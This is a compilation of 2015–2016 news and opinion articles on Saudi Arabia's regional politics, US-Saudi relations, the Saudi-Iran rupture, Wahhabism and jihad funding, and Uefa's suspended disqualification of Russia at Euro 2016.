Salman, faced with the political crisis in Yemen as soon as he took power, is now hoping to change the power balance in the region by attracting Egypt and Turkey to his side. Whether Salman will succeed depends on his ability to end the hostilities between Erdogan and Sisi. But the first political encounter between Salman and Erdogan did not yield that outcome. Salman met with Sisi a day before meeting Erdogan, in an effort to keep the Egypt issue on the sidelines, while nurturing the Saudi-Turkish friendship. Before taking off for Riyadh, Erdogan, when asked if he was going to meet Sisi, replied: ''You must be joking. For such a thing to happen there must be serious, positive steps.''
When journalists on Erdogan's plane back to Ankara asked whether the various sensitivities in regard to Egypt will affect the relationship between Turkey and Saudi Arabia, Erdogan replied: "There may be differences but they are not at a level to affect our bilateral relations. Our goal is to anchor Turkish-Saudi relations for [the benefit of] the Middle East and Islamic world. I was informed, for instance, that they have the same views in regard to a no-fly zone and safe zones in Syria, and a train-and-equip program. We must treat the Egypt issue separately, as [it] should not cast any shadows on our relationship with Saudi Arabia."
Asked if the Saudis had made a proposal for peace with Egypt, Erdogan said: "Of course, they want us to reconcile with Egypt at high levels but they don't insist.''
It is not easy to guess what will satisfy Erdogan toward normalization with Egypt, but it may well be that a new government in Egypt after the coming elections may be the opportunity that is needed.
Salman's real concern is to form a Sunni bloc to limit Iran's influence. Erdogan, who in recent years has interfered in Iraq's domestic affairs to achieve just that, is now trying to end his diplomatic isolation by encouraging Salman to include Turkey in the Saudi plan.
But their reported accord on Syria is a hopeless case. It is almost impossible for Turkey and Saudia Arabia '-- in light of their goal to ensure a Syrian opposition victory against Assad '-- to alter Washington's declared goal of ''[prioritizing] the Islamic State, not Assad.'' The no-fly zone is a plan that nobody except Erdogan talks about. As the Islamic State becomes a true threat to everyone, it simply does not look feasible for Turkey to persuade even one of its NATO allies,let alone the UN Security Council.
This is why Erdogan's anger is directed against Iran, which he holds responsible for the failure of his regional ambitions. But there is a serious miscalculation here. Despite their regional rivalry, Turkey has never deviated from its stable relations with Iran in the past. The two countries have not been engaged in a border conflict since 1639 and realize the importance of understanding each other, and somehow getting along.
However, this new polarization Ankara officials promote as ''partnership against sectarianism'' may well serve only to inflame sectarian conflict and negatively impact that stability.
Veteran writer Murat Yetkin, when noting that the United States and Israel will be the ones profiting from this move, issued a well-placed warning: ''The Saudi dynasty seems to feel besieged. They are thinking of overcoming that sentiment by forming a Sunni bloc against Iran. Israel will of course be delighted with the idea and the United States may feel it is obtaining another pressure element against Iran in their nuclear talks. The Saudis, well aware of Iran's influence on the Shiites and other non-Sunni Muslims, want to pull in Turkey and Egypt to the bloc they want to form. Yes, that's right '-- they want to make use of the vast Sunni population of Turkey, an ... [early] member of the Council of Europe, a member of NATO and a candidate for European Union [membership]. Even if Turkey and Egypt are reconciled with a magic wand, Turkey has to stay away from this anti-Iran or anti-Shiite front. '... Escalating sectarian tensions in the region will have no benefit for Turkey and any other country. It will mean more violence and death. While the troubles caused by Turkey's Syria policy are there for all to see, there is no need to become a part of even a more serious polarization and confrontation.''
In short, persisting with a bankrupt Syria policy, which brought with it major problems, and entering into a sectarian alliance, which will provoke a complicated confrontation with Iran, can only be a new and critical miscalculation that will shift Turkey from its course that it has been so proud of until now.
Read More: http://www.al-monitor.com/pulse/originals/2015/03/turkey-saudi-plan-anti-iran-sunni-bloc.html
Euro 2016: Russia given suspended disqualification - BBC Sport
Tue, 14 Jun 2016 15:36
Uefa has given Russia a suspended disqualification and a £119,000 fineRussia will be thrown out of Euro 2016 if their fans cause further trouble, says European governing body Uefa.
The Russians have also been fined 150,000 euro (£119,000) following violent scenes at the game against England in Marseille on Saturday.
The suspended disqualification and fine relate only to incidents that happened inside the stadium.
Meanwhile, groups of Russian fans are also being deported from France as a result of trouble at the tournament.
A French police operation to arrest 40 suspected Russian hooligans is under way.
Russia coach Leonid Slutsky, whose team still have to play Wales and Slovakia, is confident his squad will not be excluded.
"We are sure our supporters will not do the same and will not give any reasons to disqualify our team," he said.
Russia forwards Artem Dzyuba added: "We're not at a streetfighting championship. Please, let's focus on football."
England were also threatened with disqualification from Euro 2016 but were not formally charged by Uefa.
There is a fear of further trouble between England and Russia fans this week given that both are likely to gather in Lille.
Russia play Group B rivals Slovakia in the city on Wednesday, while England fans are expected to congregate there before Thursday's match against Wales in the nearby town of Lens.
French authorities have already pledged to increase security in Lens by deploying 2,400 police, gendarmes, security guards and a riot squad.
But Greg Dyke, chairman of the Football Association (FA), has expressed "serious concerns" about security in neighbouring Lille.
Drinking alcohol in the streets has been banned in Lens.
Footage appears to show Russian fans charging at England supportersThe British government has said it will send more British police officers trained in football disorder to France before the match between England and Wales.
England manager Roy Hodgson and captain Wayne Rooney have also urged fans to "stay out of trouble".
The FA also says it has contacted the families of players to give them advice after the wife of striker Jamie Vardy was caught up in the violence in Marseille.
England midfielder Adam Lallana, who has friends and family coming to the match against Wales, said: "We've just got to hope the security is there."
Meanwhile, Slovakia football officials have urged their fans to avoid Russian and England supporters in Lille and lens.
They say Slovakia fans should not to react to any provocation and to immediately leave a scene of a conflict.
Russia was given a six-point deduction, suspended for three and a half years, after supporters behaved badly during Euro 2012.
Russia can appeal against the latest Uefa decision, but although sports minister Vitaly Mutko, who is also president of the Russian Football Union, called the punishment "excessive", he indicated that would not happen.
French police blamed 150 "well-trained" Russian hooligans for clashes before Saturday's 1-1 draw against England on Saturday.
Six England fans were jailed on Monday for their roles in the disorder.
Over three days of disorder in Marseille, 35 people were injured - most of them England fans - and a total of 20 people were arrested.
Is it time for the United States to dump Saudi Arabia?
Tue, 14 Jun 2016 13:33
U.S. Secretary of State John Kerry walks with Saudi Foreign Minister Adel al-Jubeir (C) to attend a Gulf Cooperation Council meeting at King Salman Regional Air Base in Riyadh, Saudi Arabia, January 23, 2016. REUTERS/Jacquelyn Martin
After the recent execution of Shi'ite cleric Nimr al-Nimr by Saudi Arabia, the Middle East once again risks devolving into sectarian chaos. A mob torched the Saudi Embassy in Tehran, prompting Saudi Arabia and a number of its Sunni allies to break diplomatic relations with Iran.
In response to the unfolding chaos, the Wall Street Journal responded by asking ''Who Lost the Saudis?'' '-- fretting that the lack of support from the United States could lead to the overthrow of the Saudi regime. This is a provocative query, reminiscent of the ''Who Lost China?'' attacks against President Harry Truman after the Communist takeover of mainland China in 1949. But it's the wrong question. Rather than wondering if Washington's support for Riyadh is sufficient, American policymakers should instead ask themselves the following question: Is it time for the United States to dump Saudi Arabia?
The moral case for the United States to question its close relationship with Saudi Arabia is clear. Saudi Arabia is governed by the House of Saud, an authoritarian monarchy that does not tolerate dissent, and the country consistently ranks among the ''worst of the worst'' countries in democracy watchdog Freedom House's annual survey of political and civil rights.
Saudi Arabia follows the ultra-conservative Wahhabi strain of Sunni Islam, and the public practice of any religion other than Islam is prohibited. Its legal system is governed by Sharia law, and a 2015 study from Middle East Eye noted that Saudi Arabia and Islamic State prescribed near-identical punishments, such as amputation and stoning for similar crimes. The government is also renowned for carrying out public executions after trials that Amnesty International condemns as ''grossly unfair''; Amnesty describes the Saudi ''justice system'' as ''riddled with holes. ''
Given the two countries' divergent values, the U.S.-Saudi alliance relies almost entirely on overlapping economic and national security interests. The United States long relied on Saudi Arabia as an oil supplier, a steadfast beacon of opposition to communism and a huge buyer of American arms. The Saudis, meanwhile, depend on the United States to protect their security.
Despite these long-standing ties, Saudi Arabia now harms American national interests as much as it helps them.
First, the Saudis and the United States diverge over American policy toward Iran. Saudi Arabia sees itself locked in a sectarian and geopolitical struggle with Iran for Middle East supremacy. Riyadh is concerned the deal that lifted sanctions against Iran in exchange for Tehran dismantling it's nuclear infrastructure will empower Iran to pursue a more aggressive foreign policy in the region. Riyadh also fears abandonment by Washington, and worries the nuclear deal is only the first step in a process that could lead to its replacement by Iran as the United States' primary Persian Gulf ally.
President Barack Obama, by contrast, describes the nuclear agreement with Iran as ''a very good deal'' that ''achieves one of our most critical security objectives.'' While no indication exists that the United States seeks to replace Saudi Arabia with Iran, it makes sense for Washington to explore other areas where American and Iranian interests may overlap. As the United States and Iran continue to feel each other out, we can expect tensions between Washington and Riyadh to grow.
Second, Saudi Arabia executed al-Nimr despite concerns expressed by the United States that doing so could damage hopes for peace in Syria. Ending the Syrian war remains a priority for the United States, since Washington hopes a Syrian settlement will lead all parties to unite against Islamic State.
Saudi Arabia and Iran support opposing sides in Syria's civil war, and the prospects for peace depend significantly on cooperation from both countries. With the two countries now at each others' throats due to the Saudis' execution of al-Nimr, the Obama administration believes Saudi-Iranian tensions could ''blow up'' Washington's objectives in Syria.
Third, thanks to the shale oil boom in the United States, American dependence on Saudi oil has dropped dramatically. According to a Citibank report, by 2020 the United States may produce so much domestic oil that it would become a net exporter, completely freeing itself from any reliance on Persian Gulf imports. Moreover, the Saudis also rely on the American market. They and many other OPEC members produce what's called ''heavy sour'' crude, and the U.S. refinery system is the most attractive market for this type of petroleum. As the United States reduces imports, the Saudis must scramble to find other markets such as China. Unfortunately for Riyadh '-- as the Russians can attest '-- the Chinese give no quarter when holding the upper hand in negotiations.
The Saudis understand the consequences of the United States' reduced reliance on imported oil. To retain market share, the Saudis launched an assault on American shale oil producers, hoping to drive them out of business by flooding the market with Saudi oil. The Saudis hope this leads oil prices to recover, but in the meantime much of the American shale oil industry could face bankruptcy. While cheap oil is good for American consumers, at a certain point the downside for the United States' economy may outweigh the upsides. Of course, if the United States regains a greater dependence on foreign oil, the Saudis will be the ones to benefit.
Finally '-- and most importantly '-- the United States must accept the fact that Saudi Arabia is a major contributor to worldwide Islamic extremism. Washington policymakers clearly understand this. In a leaked Wikileaks cable, former Secretary of State '-- and now presidential aspirant '-- Hillary Clinton stated ''donors in Saudi Arabia constitute the most significant source of funding to Sunni terrorist groups worldwide.''
In a 2014 speech at Harvard, Vice President Joseph Biden called out Saudi Arabia and others for contributing to the rise of Islamic State, saying ''those allies' policies wound up helping to arm and build allies of al Qaeda and eventually the terrorist Islamic State.''
In a highly unusual public rebuke in December, Germany's vice-chancellor Sigmar Gabriel accused the Saudis of funding extremism in the West. ''Wahhabi mosques all over the world are financed by Saudi Arabia. Many Islamists who are a threat to public safety come from these communities in Germany. We have to make clear to the Saudis that the time of looking away is over,'' Gabriel said.
Saudi Arabia denies funding extremism, and in 2014calledclaims it supported Islamic State ''false allegations'' and a ''malicious falsehood.'' Moreover,the Saudi Ambassador to the United Kingdom recentlyposteda letter charging critics of playing the ''blame game'' and called the accusations ''an insult to our government, our people, and our faith.''
Even so, Gabriel is right '-- and it's high time Washington policymakers take a good look at the long-term future of the American-Saudi relationship.
White House goes into damage control on Syria peace talks - POLITICO
Tue, 14 Jun 2016 13:30
Secretary of State John Kerry and others in the Obama administration have issued statements urging leaders across the region to take steps to "calm tensions." | Getty
The clash between Saudi Arabia and Iran is threatening to unravel the progress made in the effort to end Syria's civil war.
By Nahal Toosi
01/04/16 12:05 PM EST
Updated 01/04/16 06:52 PM EST
An escalating dispute between Saudi Arabia and Iran is threatening to derail President Barack Obama's efforts to bring an end to the civil war in Syria while also undermining the U.S.-led fight against the Islamic State terrorist network.
Saudi Arabia cut off diplomatic ties to Iran over the weekend after Iranian protesters '-- angry over Riyadh's execution of a prominent Shiite cleric '-- attacked the Saudi embassy in Tehran. On Monday, Bahrain and Sudan also announced they were severing diplomatic relations with Iran, while the United Arab Emirates said it was downgrading ties. Saudi Arabia also moved to halt commercial ties with and stop flights to and from Iran, Reuters reported, while the events jolted oil markets.
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Meanwhile, Staffan de Mistura, the United Nations envoy tasked with trying to end the Syrian conflict, was heading to the Middle East to persuade the Iranians and Saudis not to scuttle that process.
''You have to assume that neither side wants it to escalate. But it's the sort of thing that can get out of hand,'' said Philip Gordon, a former top Obama aide deeply involved in Middle East affairs.
Obama aides scrambled to respond to the sudden turn of events, which follow years of growing sectarian and nationalist tension between Sunni-majority Saudi Arabia and Shiite-majority Iran. Secretary of State John Kerry called Iranian Foreign Minister Mohammad Javad Zarif on Sunday, and according to the Saudi Press Agency, Kerry called Saudi Deputy Crown Prince Mohammad bin Salman Al Saud on Monday. White House spokesman Josh Earnest, in unusually even-handed terms, chided both Iran and Saudi Arabia and urged the two parties to calm tensions for their own sake, although State Department spokesman John Kirby stressed that the U.S. did not plan to insert itself as a mediator.
The flaring conflict between the two countries is a setback for Obama's diplomacy and foreign policy legacy, which has been badly damaged by the five-year-old civil war in Syria, where 250,000 people have been killed, and the rise of the Islamic State terrorist group, also known as ISIS or ISIL, which has seized territory in Syria and Iraq and inspired the recent attacks in Paris and California. The Saudi-Iran spat also comes as the U.S. and its allies are making some progress on both those fronts as well as in Yemen, where Saudi forces are battling Iranian-backed rebels.
A peace process was launched late last year for Syria, and the U.N. was due to bring together the warring parties for talks in Geneva on Jan. 25. Iran, which has backed Syrian President Bashar Assad, and Saudi Arabia, which has supported rebels trying to oust him, have both been involved in the diplomatic efforts.
Their willingness to be in the same room was considered groundbreaking. Both are regional powers vying for influence throughout the Middle East and on the world's oil markets. Although both are Islamist states, they adhere to rival branches of Islam. Saudi Arabia also is an Arab nation, while Iran's population is majority Persian.
Iran's growing influence in countries such as Lebanon, Yemen and Syria has deeply concerned the Saudis, who feel the United States, despite its longstanding enmity toward Iran, doesn't do enough to rein it in. The U.S. decision to pursue a nuclear deal with Tehran further fed Saudi fears of a potential Washington-Tehran rapprochement.
The Saudi decision to execute Shiite cleric Nimr al-Nimr is just the latest example of Riyadh's willingness to confront Iran without waiting for permission from the U.S. Earnest confirmed Monday that U.S. officials had urged the Saudis to think twice about carrying out the death sentences, especially that of al-Nimr, precisely because it could lead to a backlash.
''Unfortunately, the concerns that we expressed to the Saudis have precipitated the kinds of consequences that we were concerned about,'' Earnest said.
The new Saudi-Iran dispute ''sort of sends you back to the drawing board'' on Syria, Gordon said, especially because the Vienna process was premised on the idea that the Saudis and the Iranians could compromise.
''On a recent trip to the kingdom I was struck by the degree to which Iran was the overwhelming national security concern and threat perceived by the Saudis, even ahead of ISIS, Assad, the Muslim Brotherhood and other adversaries,'' Gordon said. ''It's impossible to make progress in Syria and Yemen and elsewhere so long as this rivalry goes on.''
Earnest suggested that the Saudis and the Iranians could be persuaded to stay involved in the Syria peace effort if only because the chaos in Syria threatens their own stability. ''The pursuit of this ultimate goal is so clearly within their own direct interest. We're hopeful they will continue to engage, but ultimately that will be up to them,'' the spokesman said.
Earnest made it clear the U.S. is unhappy with both the Saudi moves and the Iranian reaction, and he even made a point of noting that the administration has concerns about the human rights situation in Saudi Arabia. The comments were striking because while the U.S. does not have formal diplomatic ties with Iran and has historically been willing to criticize Tehran quite openly, U.S. officials are normally very careful about condemning actions by the Saudis, who are considered a crucial ally.
The U.S. has cautiously backed Saudi forces in Yemen, where Iran-backed Houthi rebels ousted the government supported by Riyadh and where months of fighting have resulted in thousands of civilian casualties. A fragile peace process in the works there also seems destined for the dumps thanks to this weekend's events.
The Saudis and the Iranians both despise the Islamic State, and Obama aides consider the terrorist group the top threat in the region. But there is a recognition that the jihadists will continue to thrive so long as the civil war in Syria goes on, making this weekend's events an even bigger problem. The Islamic State and Al Qaeda have each managed to make gains in Yemen as a result of the Saudi-Iran proxy fight there.
Saudi authorities executed al-Nimr, a prominent critic of the Saudi royal family, alongside 46 other people, most of whom were alleged Sunni extremist militants. The mass execution in a country whose opaque justice system is based on a strict version of Islamic law drew condemnations from human rights activists.
''The Jan. 2 executions, in 12 different locations, were reported to have taken place by firing squad or beheading,'' wrote Simon Henderson, an analyst with the Washington Institute for Near East Policy. ''Whatever the gruesome details, the executions undermined Saudi Arabia's attempts internationally to distinguish its methods of punishment from those of the Islamic State. While the kingdom is spending tens of millions in fees to Western investment banks and management consultancies for advice on how to restructure its economy, it appears at best tone-deaf to negative impressions of some of the ways Islam is practiced in the kingdom.''
Saeed al-Wahabi, a Saudi analyst, said he was surprised that Saudi-Iranian diplomatic relations were cut off '-- ''It's a big thing'' '-- but said in his opinion the mass executions' ''secondary goal'' was to send messages to Washington and Tehran, while ''the primary one is that Riyadh is serious about countering terrorism and securing its territories.''
Iran, which considers itself the leading center for the world's Shiite Muslims, condemned the execution of Nimr, but the Saudis allege it was slow to call off protesters who attacked the Saudi Embassy in Tehran and the Saudi consulate in the city of Mashhad. According to the Saudi Foreign Ministry, the protests appeared highly organized, with demonstrators participating in shifts and Iranian guards looking the other way at the ensuing destruction. Saudi officials said their requests for protection from Iran's Foreign Ministry were ignored.
As the war of words between the two sides grew, Saudi officials were particularly harsh, repeatedly calling Iran a sponsor of terrorism.
''We are determined not to allow Iran to undermine our security. We are determined not to let Iran mobilize or create or establish terrorist cells in our country or in the countries of our allies. We will push back against Iran's attempts to do so,'' Saudi Foreign Minister Adel Al-Jubeir said.
Iranian Supreme Leader Ayatollah Ali Khamenei used his Twitter account throughout the weekend to snipe at the Saudis, at one point tweeting: ''Surely, martyr #SheikhNimr will be graced by God & no doubt Divine revenge will seize oppressors who killed him & it is the point of relief.''
By mid-day Monday, there were some signs of conciliation amid growing international pressure on Tehran and Riyadh. The Associated Press reported that in a letter to U.N. Secretary General Ban Ki-moon, Iran's U.N. envoy expressed ''regret'' over the attacks on Saudi diplomatic facilities and noted that Iran already had arrested dozens of people and was seeking other potential perpetrators.
Why the U.S. Is Stuck With Saudi Arabia - The Atlantic
Tue, 14 Jun 2016 13:16
The death of Saudi Arabia's King Abdullah, who passed away Friday due to complications from a lung infection, elicited a series of gushing tributes from American leaders. In his official statement, President Obama praised his "enduring contribution to the search for peace" in the Middle East. Secretary of State John Kerry called him a "man of wisdom and vision." Vice President Biden, meanwhile, announced he'd lead the American delegation to Saudi Arabia to mourn the king in person.
The warm praise of Abdullah, 90, came as little surprise. Saudi Arabia and the United States have been close allies for decades. But the effusive reaction to the king's death reveals an uncomfortable truth about Washington's relationship to the kingdom. Despite Riyadh's repulsive human rights record, unproductive role in regional security, and American advances in shale oil production, the United States needs Saudi Arabia more than ever.
But first, it's worth detailing why the American relationship with Saudi Arabia is so problematic. King Abdullah will be replaced by his half-brother, Salman, who has vowed to continue the "correct" policy of his predecessor. For the country's women, religious minorities, and political dissidents, this is bad news. Saudi Arabia is an absolute monarchy in which no opposition to the ruling family is tolerated. Those brave enough to call for religious pluralism are subject to lengthy prison sentences or state-sponsored violence. Two weeks ago, in a case that aroused international condemnation, the government lashed a Saudi blogger named Raif Badawi 50 times after he dared to defend atheism. Badawi is scheduled to be lashed a total of 950 more times and will serve a 10-year prison sentence for this offense.
Despite Riyadh's repulsive human rights record, unproductive role in regional security, and American advances in shale oil production, the United States needs Saudi Arabia more than ever.Women, who comprise 42.5 percent of the kingdom's population, are essentially treated like children. Saudi Arabia's "guardianship" system requires them to seek male permission to travel, work, or leave the house; they also, famously, are not allowed to drive. King Abdullah did receive credit from International Monetary Fund head Christine Lagarde for his "discreet" improvement of women's lives in the country'--more women than men now attend college there, and many have received scholarships to study overseas. But the kingdom's viciousness toward females extends even to the most privileged. Four of King Abdullah's 15 daughters have lived under house arrest for 13 years after publicly opposing the kingdom's policies toward women. Two have said they're running low on food.
Contrary to President Obama's statement, Saudi Arabia's role in brokering Middle Eastern peace has, at best, been unhelpful. King Abdullah bitterly opposed Washington's support of pro-democracy protesters in Egypt and urged President Obama to use force to preserve Hosni Mubarak's dictatorship. Since Abdel Fattah al-Sisi assumed the country's leadership in 2013, Riyadh has helped finance his brutal suppression of the country's Muslim Brotherhood. Saudi Arabia has also resisted the rise of Shiite movements in the region out of fear that Iran, its main rival, will gain influence. When Shiite protesters threatened the Sunni dictatorship in neighboring Bahrain, Saudi Arabia dispatched its military to suppress the uprising. Riyadh's support of Syrian rebels, too, has backfired: Islamic State fighters have benefited from Saudi money and weapons.
So why does the U.S. put up with Saudi Arabia? The simplest explanation, of course, is oil. The kingdom is the largest and most important producer in the Organization of Petroleum Exporting Countries (OPEC), the bloc that controls around 40 percent of the world's oil. Because the United States was until recently the world's top oil importer, an alliance with Saudi Arabia made geopolitical sense.
The recent shale oil boom in the U.S. has led Washington to hope that before long, its alliance with Riyadh won't be necessary. The U.S. now pumps more than 9 million barrels of oil per day, which almost matches the amount in Saudi Arabia. Observers project that in five years, the U.S. will get 80 percent of its oil from North and South America and will be mostly self-sufficient by 2035. The OPEC decision to not cut supply in response to falling oil prices signaled that the North American boom had fundamentally changed the commodity's global logic.
Saudi Arabia is well-positioned to survive a sustained drop in the price of oil, currently at $48.71 a barrel. Riyadh generally needs oil to trade at $80 a barrel in order to balance its budget. But with $750 billion stashed away in reserve, the kingdom faces little pressure to reduce supply and raise the price. In addition, Saudi Arabia and fellow OPEC members Kuwait and the United Arab Emirates have proved reserves of 460 billion barrels. The United States, by contrast, has proved reserves of just 10 billion'--and the U.S. Energy Information Agency forecasts that American shale oil production will plateau in 2020.
Given the precarious health of King Salman, who is 79 and alleged to be suffering from dementia, the United States government may well find itself offering condolences to Saudi Arabia on the death of its ruler before much longer. When the time comes, don't expect the reaction to be any less effusive.
The Saudi Connection: Wahhabism and Global Jihad | World Affairs Journal
Tue, 14 Jun 2016 13:09
''The Kingdom of Saudi Arabia does not have problems with other creeds or sects,'' then Prince (now King) Salman claimed in a conversation with outgoing US Ambassador James C. Oberwetter in March 2007. Salman went on to stress: ''Terrorism and fanaticism have done more harm to Islam than anything else.'' This is the party line of the House of Saud'--that, in the words of its last king, Abdullah, Saudi Arabia stands ''in the face of those trying to hijack Islam and present it to the world as a religion of extremism, hatred, and terrorism.'' Such statements are meant to reassure, but they ring hollow in the face of evidence that the roots and spread of violent Sunni jihad lead back to Saudi Arabia and its Wahhabi-centered clerical establishment.
The Saudi kingdom's inseparability from the Wahhabi form of Sunni Islam, first espoused in 1744 and the fundamental creed of Saudi Arabia since its modern founding in 1932, has ensured that fundamentalism shapes domestic and foreign policies. Saudi Arabia is not the only source of resources for jihadism'--public and private entities in Kuwait, Qatar, the United Arab Emirates, and more recently Turkey have also been linked to collection and transfer of funds supporting terror groups. But the Saudis have been the most persistent source of support for global jihad by spreading Wahhabism abroad to radicalize foreign Muslims and then giving financial support to their violent struggles in countries as far-flung as Afghanistan, Syria, and Libya.
The Charlie Hebdo attacks in Paris in January, and those terrorists' links to Islamist cells across Europe, show how far these tentacles spread. The killers'--the French-born Kouachi brothers of Algerian descent'--were radicalized by al-Qaeda operatives living in the city's 19th Arrondissement, at a local mosque by an al-Qaeda preacher, Farid Benyettou, and even in a French prison by an al-Qaeda recruiter, Djamel Beghal. While incarcerated, Ch(C)rif Kouachi met Amedy Coulibaly, a Malian-Frenchman also being groomed by Beghal. The Kouachis eventually launched their attack in the name of al-Qaeda in the Arabian Peninsula, which is based in Saudi Arabia and Yemen, while Coulibaly, who attacked a Jewish grocery store in Paris the same week, did so in allegiance to the Islamic State, based in Iraq and Syria, to take ''vengeance'' for alleged insults to Islam. Both al-Qaeda in the Arabian Peninsula and the Islamic State, also known as ISIS or ISIL, trumpeted the attacks. Weapons and ammunition used by the Paris attackers have been traced back to jihadis in Bosnia, where preachers at the King Fahd Mosque in Sarajevo who were trained and funded with Saudi support declare those attacks were staged by the West as an excuse to discriminate against Muslims.
Militant Islamists have long had a presence in the Balkans, and many have now traveled to fight in Syria. What happens when they return, battle-hardened, with their European passports?
Likewise, Danish-born Omar Abdel Hamid el-Hussein, who soon after shot up a Copenhagen cafe where a cartoonist who had satirized the Prophet Muhammad was participating in a freedom of expression public meeting, and then went on to attack a synagogue, also had been incarcerated, radicalized in prison, and pledged allegiance to the Wahhabi-inspired Islamic State via Facebook prior to his rampage in February. On that same day, the Ansar al-Sharia, a Wahhabi group whose spiritual guide is the Arabian preacher Abu al-Baraa al-Azdi (a.k.a. Muhammad Abdullah) and which had recently allied itself to the Islamic State, released images of themselves decapitating 21 men on a Mediterranean beach in Libya for being ''people of the cross, followers of the hostile Egyptian [Coptic] church.''
To be sure, Saudi Arabia condemned the Paris crimes as un-Islamic and denied any association with the purpose, planning, or execution of the attacks. Yet, just one day later, its Wahhabi-controlled judiciary delivered the first 50 of 1,000 lashes to a blogger'--who also was sentenced to 10 years in prison'--for ''insulting Islam,'' the same alleged crime committed by Charlie Hebdo staffers. That blogger was subsequently brought up on a previously dismissed charge of apostasy from Islam, which carries the possibility of capital punishment. The blogger's attorney, a Saudi human rights monitor who was merely defending a client, received a 15-year prison term as well last year for challenging royal and clerical authority'--allegedly for ''antagonizing international organizations against the kingdom'' and ''inciting public opinion against authorities.''
It is all part of a familiar game in which diplomatic words intended for non-Muslims'--shortly before his death in December, King Abdullah denounced the Muslim Brotherhood and Islamic State for ''hijacking Islam and presenting it to the world as a religion of hatred'''--diverge sharply from actions directed at Muslims worldwide and emanating from the Wahhabi-Saudi alliance. These diplomatic words are also given the lie by claims'--said to be recorded in the still-classified portion of the US Congress's 9/11 report, and more recently echoed by imprisoned al-Qaeda terrorist Zacarias Moussaoui'--that Saudi Arabia's ruling elite distributed millions of dollars to Sunni extremists, including those within the US, in the run-up to the September 11th attacks, under the guise of support for Islamic charities.
The Wahhabi movement that animates Saudi policy from behind the scenes was founded by Muhammad ibn Abd al-Wahhab (1703''92), a Sunni theologian who called for a return to austere practices supposedly followed by the Salaf, or earliest Muslims, during the 7th century. He regarded images, saints, shrines, communal festivals, and secular lifestyles, with music, dance, and socializing, as distractions from true piety. Thus he rejected all changes since early Islam as bid'ah, or heretical innovations and idolatry. He composed the ''Kitab al-Tawhid'' or ''Book of God's Uniqueness,'' which became the guiding text for his followers, who consequently speak of themselves as Muwahhidun (total monotheists) or as Salafis (followers of the ways of the first Muslims). So as not to detract from those absolutist ideals, they usually do not even refer to themselves as Wahhabis or followers of Wahhab.
Wahhab's calls for puritanical reform and his attacks on the tombs of early Muslims led to expulsion from his hometown of Uyaynah, 19 miles northwest of modern-day Riyadh. He found refuge at Diriyah, a city then ruled by Muhammad ibn Saud. There the two leaders established a religio-political pact during the year 1744 under which the Wahhabis aided the king in battle in exchange for imposition of Wahhabism as the official form of Islam. Diriyah, on the outskirts of Riyadh, became the center of Wahhabism; from there missionaries were dispatched to convert other Muslims in Arabia, the Persian Gulf, and Syria to the new sect. Jihad, or holy war, was initiated against Muslims in Arabia who refused to adopt the old Salafi ways as re-prescribed by Wahhab and upheld by King Saud, who was presented as Allah's chosen monarch to whom all Muslims had to pledge baya, or absolute allegiance, so as not to face annihilation as foes of god.
Madrassas and preachers funded by the House of Saud instilled Wahhabism across the Arabian Peninsula after Saud's troops gained control of much of the region and established the first Saudi kingdom. Between 1744 and 1818, Wahhabi preachers and fighters embedded their tenets and institutions into Arabian society so deeply that even the return of moderate Sunni ideas to the region when the Ottoman Empire demolished Saudi power did not eradicate extremism. Wahhabism survived and provided the ideological basis for the Saudi return to power as the Emirate of Nejd between 1824 and 1891, with the capital city at Riyadh, and as the third Saudi kingdom starting in 1932.
When he began conquering Arabia, Abdulaziz ibn Saud (ruled 1932''53) deployed Wahhabism as a religio-political means of uniting the Peninsula's restive tribes. Submission to Allah's absolute will, as interpreted by Wahhabi doctrine and upheld by the House of Saud became arallying cry. Wahhabism served Saud's descendants in the ruling family as a bulwark against Arab Nationalist rivals like Egypt, Syria, and Iraq, who were turning to the Soviets during the 1960s and 1970s. Faced with that rise of secularism and fueled by oil money, King Faisal ibn Abdulaziz al-Saud (ruled 1964''75) decided the propaganda of Wahhabism, which proclaims the Kingdom of Saudi Arabia as the sole rightful defender of Islam, would become the long-term strategy for the monarchy's survival.
When Afghanistan, another largely Sunni country nearby, moved from Soviet influence to Soviet control, in 1979, the House of Saud saw an opportunity to project itself as the global defender of Muslims. This view coalesced with the Cold War aims of the US, which saw the Saudi desire to weaponize Islamist ideology as tactically useful in the West's struggles against the Soviet Union. As later described in testimony before the US Senate Judiciary Committee, and listed on the late King Fahd's website, Saudi Arabia spent $4 billion per year on mosques, madrassas, preachers, students, and textbooks to spread the Wahhabi creed over the next decades. Thousands of Muslim centers sprang up along Pakistan's border with Afghanistan and then in Afghanistan itself'--training not scholars but jihadis equipped with Wahhabi ideology and American weapons. The madrassas in Arabia, Afghanistan, and Pakistan produced al-Qaeda and the Taliban. The US did not foresee that foreign fighters drawn to the Afghan jihad might carry violence back to their native lands as al-Qaeda affiliates spread across the Middle East, the Balkans, the Caucasus, Central Asia, and South Asia.
The successful anti-Soviet campaign in Afghanistan came to be seen as divine confirmation of jihad as necessary for Islam's global ascendance. Wahhabism in turn emerged as the ''indispensable ideology'''--as noted in the record of the US Senate Subcommittee on Terrorism, Technology and Homeland Security'--not just for the Saudi state but also for groups such as al-Qaeda, which took up the mission to enforce a purified form of Islam upon the world. According to the Saudi monarchy's official websites, Wahhabi charities and royal trusts, including that of another Saudi ruler, the late King Fahd, spent millions of dollars recruiting students to more than 1,500 mosques, 210 Muslim centers, 202 Islamic colleges, and 2,000 madrassas and on staffing those institutions with nearly 4,000 preachers and missionaries in non-Muslim nations in central, southern, and southeast Asia, as well as in Africa, Europe, and North America. Adherents to Wahhabism used Saudi control of four-fifths of all Islamic publishing houses around the world to spread their fighting words into faraway places.
Indeed, 80 percent of the 1,200 mosques operating in the US were constructed after 2001, more often than not with Saudi financing. As a result, Wahhabi influence over Islamic institutions in the US was considerable by 2003, according to testimony before the US Senate. Hundreds of publications, published by the Saudi government and its affiliates, and filled with intolerance toward Christians, Jews, and other Americans, had been disseminated across the country by 2006, according to a report by Freedom House, a Washington-based NGO. That report concluded that ''the Saudi government propaganda examined reflects a totalitarian ideology of hatred that can incite to violence.'' By 2013, 75 percent of North American Islamic centers relied on Wahhabi preachers who promote anti-Western ideas in person and online through their sermons and through the Saudi-produced literature.
